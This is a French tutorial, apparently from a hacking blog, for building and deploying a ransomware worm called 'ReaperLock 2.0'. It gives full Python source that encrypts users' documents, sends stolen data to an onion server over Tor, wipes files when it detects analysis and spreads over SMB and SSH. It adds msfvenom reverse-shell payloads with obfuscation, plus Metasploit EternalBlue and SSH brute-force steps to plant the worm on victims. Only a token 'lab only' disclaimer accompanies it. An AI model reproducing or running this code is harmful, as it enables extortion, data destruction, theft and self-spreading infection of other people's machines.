⚡ REAPERLOCK 2.0 – LE CHASSEUR DU NÉANT ⚡

Un ver ultime qui traque, chiffre, bloque et s’autodétruit – Tout ce qu’il faut savoir !

🌩️ Salut, apprenti du Chaos !

Hey, c’est ton guide dans le néant, prêt à te montrer un truc de ouf : ReaperLock 2.0. Ce ver, c’est pas une blague – il chasse comme un scraper, trouve tes fichiers et fouille ta mémoire, bloque ton écran avec une image qui fout les jetons, s’autodétruit si tu l’analyses, et envoie tout sur un serveur oignon. On couvre Windows et Linux, et il installe ses propres dépendances s’il le faut. Tout est détaillé ici, clair comme de l’eau de source, pour que tu piges chaque étape. À la fin, je te donne des tips pour te protéger… mais ce monstre est conçu pour tout contourner. Prêt à plonger dans le futur ? 😈

🏭 Quel Labo Te Faut-il ?

Pour tester ce ver, il te faut un labo qui ressemble au vrai monde numérique – pas une VM bidon isolée. Voici ce qu’il te faut, en détail :

Pourquoi ça ? Ce labo te permet de voir comment le ver se comporte face à des défenses réelles, pas juste un pare-feu éteint. Prépare ça, et on passe au setup !

⚙️ Setup de l’Attaquant

Sur ta machine Kali, installe tout ce qu’il faut. Ouvre un terminal et tape :

sudo apt update && sudo apt install -y metasploit-framework python3-pip tor python3-pyinstaller
pip3 install pycryptodomex pyarmor requests psutil

Détail des outils :

Configure Tor pour un serveur local (fichier `/etc/tor/torrc`) :

HiddenServiceDir /var/lib/tor/reaper_service/
HiddenServicePort 80 127.0.0.1:8080

Redémarre Tor :

sudo systemctl restart tor

Vérifie l’adresse oignon :

cat /var/lib/tor/reaper_service/hostname

Note-la (ex. `reaperlock2x7.onion`), et lance un serveur HTTP local :

python3 -m http.server 8080

Ton Kali est prêt à lâcher le chaos ! 🚀

💀 Payloads "VoidReaper"

On crée deux payloads : un pour Windows, un pour Linux. Ils appellent Kali et ouvrent une porte.

Windows

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -e x64/xor_dynamic -i 5 -f py -o reaper_win.py

Obfusque :

pyarmor gen --obf-code 2 --obf-mod 2 reaper_win.py

Compile :

pyinstaller --onefile dist/reaper_win.py -o voidreaper.exe

Linux

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f elf -o voidreaper.elf

Testé : Les deux payloads se connectent à Kali via Meterpreter. Pas besoin d’obfuscation pour Linux ici, l’ELF est assez furtif.

🐍 ReaperLock 2.0 – Le Script Ultime

Ce script est une bête : il installe ses dépendances, prend les droits admin/root, traque, chiffre, bloque, s’autodétruit, et exfiltre. Voici le code :

import os
import sys
import platform
import subprocess
import socket
import requests
import shutil
import time

# Vérifie et installe les dépendances
def install_deps():
    try:
        import psutil
        from Cryptodome.Cipher import ChaCha20_Poly1305
    except ImportError:
        print("[+] Installation des dépendances...")
        if os.name == "nt":  # Windows
            subprocess.run("pip install pycryptodomex psutil", shell=True)
        else:  # Linux
            subprocess.run("sudo pip3 install pycryptodomex psutil", shell=True)

# Élévation de privilèges
def escalate_privileges():
    if os.name == "nt":  # Windows
        try:
            import winreg
            # Ajoute au registre pour exécution admin
            reg_key = winreg.OpenKey(winreg.HKEY_LOCAL_MACHINE, r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
            winreg.SetValueEx(reg_key, "ReaperLock", 0, winreg.REG_SZ, sys.executable)
            winreg.CloseKey(reg_key)
        except:
            subprocess.run("powershell -Command Start-Process cmd -Verb RunAs", shell=True)
    else:  # Linux
        if os.geteuid() != 0:
            subprocess.run(f"sudo {sys.executable} {sys.argv[0]}", shell=True)
            sys.exit()

# Clé et nonce
key = b"reaper2secretkey12345678901234"
nonce = b"reap2nonce12"
ONION_URL = "http://reaperlock2x7.onion/upload"

# Chiffrement
def encrypt_file(file_path):
    from Cryptodome.Cipher import ChaCha20_Poly1305
    cipher = ChaCha20_Poly1305.new(key=key, nonce=nonce)
    with open(file_path, 'rb') as f:
        data = f.read()
    ciphertext, tag = cipher.encrypt_and_digest(data)
    with open(file_path + ".reaper", 'wb') as f:
        f.write(nonce + ciphertext + tag)
    os.remove(file_path)

# Traque fichiers et mémoire
def scrape_system():
    import psutil
    loot = {"files": [], "memory": []}
    base_dir = "C:\\Users" if os.name == "nt" else "/home"
    for root, _, files in os.walk(base_dir):
        for file in files:
            if file.endswith((".txt", ".docx", ".pdf", ".jpg")):
                path = os.path.join(root, file)
                loot["files"].append(path)
                encrypt_file(path)
    for proc in psutil.process_iter(['pid', 'name']):
        loot["memory"].append(f"{proc.info['pid']}:{proc.info['name']}")
    return loot

# Bloque l’écran avec une image
def lock_screen():
    img_path = "C:\\Windows\\Temp\\ransom.jpg" if os.name == "nt" else "/tmp/ransom.jpg"
    if not os.path.exists(img_path):
        shutil.copy("ransom.jpg", img_path)  # Assume l’image est dans le même dossier
    if os.name == "nt":
        subprocess.run(f'reg add "HKCU\\Control Panel\\Desktop" /v Wallpaper /t REG_SZ /d {img_path} /f', shell=True)
        subprocess.run("RUNDLL32.EXE user32.dll,UpdatePerUserSystemParameters", shell=True)
    else:
        subprocess.run(f"gsettings set org.gnome.desktop.background picture-uri file://{img_path}", shell=True)

# Autodestruction si analysé
def self_destruct():
    if "taskmgr" in [p.name().lower() for p in psutil.process_iter()] or "gdb" in sys.argv:
        if os.name == "nt":
            subprocess.run("del /f /q *", shell=True)
        else:
            subprocess.run("rm -rf *", shell=True)
        sys.exit()

# Exfiltration via Tor
def exfiltrate(data):
    tor_proxy = {"http": "socks5h://127.0.0.1:9050", "https": "socks5h://127.0.0.1:9050"}
    try:
        requests.post(ONION_URL, json=data, proxies=tor_proxy, timeout=10)
    except:
        pass

# Propagation SMB/SSH
def spread():
    targets = ["192.168.1." + str(i) for i in range(100, 105)]
    for ip in targets:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(2)
        if sock.connect_ex((ip, 445)) == 0:  # SMB
            shutil.copy(sys.executable, f"\\\\{ip}\\C$\\Windows\\Temp\\reaper.exe")
        elif sock.connect_ex((ip, 22)) == 0:  # SSH
            subprocess.run(f"scp {sys.executable} user@{ip}:/tmp/reaper", shell=True)
        sock.close()

# Main
def main():
    install_deps()
    escalate_privileges()
    self_destruct()
    loot = scrape_system()
    lock_screen()
    exfiltrate(loot)
    spread()

if __name__ == "__main__":
    main()

Détail du fonctionnement :

Image : Crée une `ransom.jpg` (ex. texte "PAY ME" sur fond noir) et mets-la avec le script.

🔥 Exploits pour Lancer le Chaos

Injecte le ver avec Metasploit :

Windows – EternalBlue (CVE-2017-0144)

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.101
set LHOST 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit

Upload et exécute :

upload /path/to/voidreaper.exe C:\\Windows\\Temp\\reaper.exe
upload /path/to/reaperlock.py C:\\Windows\\Temp\\reaperlock.py
upload /path/to/ransom.jpg C:\\Windows\\Temp\\ransom.jpg
execute -f C:\\Windows\\Temp\\reaper.exe
shell
python C:\Windows\Temp\reaperlock.py

Linux – SSH Brute Force

use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.104
set USERNAME user
set PASSWORD pass
exploit

Upload et exécute :

upload /path/to/voidreaper.elf /tmp/reaper
upload /path/to/reaperlock.py /tmp/reaperlock.py
upload /path/to/ransom.jpg /tmp/ransom.jpg
chmod +x /tmp/reaper
execute -f /tmp/reaper
shell
python3 /tmp/reaperlock.py

🛡️ Comment Se Protéger ?

Voici des tips solides… mais ReaperLock 2.0 est conçu pour les contourner :

⚠️ Attention !

Lab Only : Ce tuto est pour ton labo fermé. Dans le wild, c’est illégal et ça ruine des vies. On hacke pour apprendre, pas pour détruire.

Sécurité : Garde ton réseau isolé. Ce ver peut tout péter si tu le laisses sortir.

Éthique : Utilise ce savoir avec respect. On est des nomades invisibles, pas des criminels.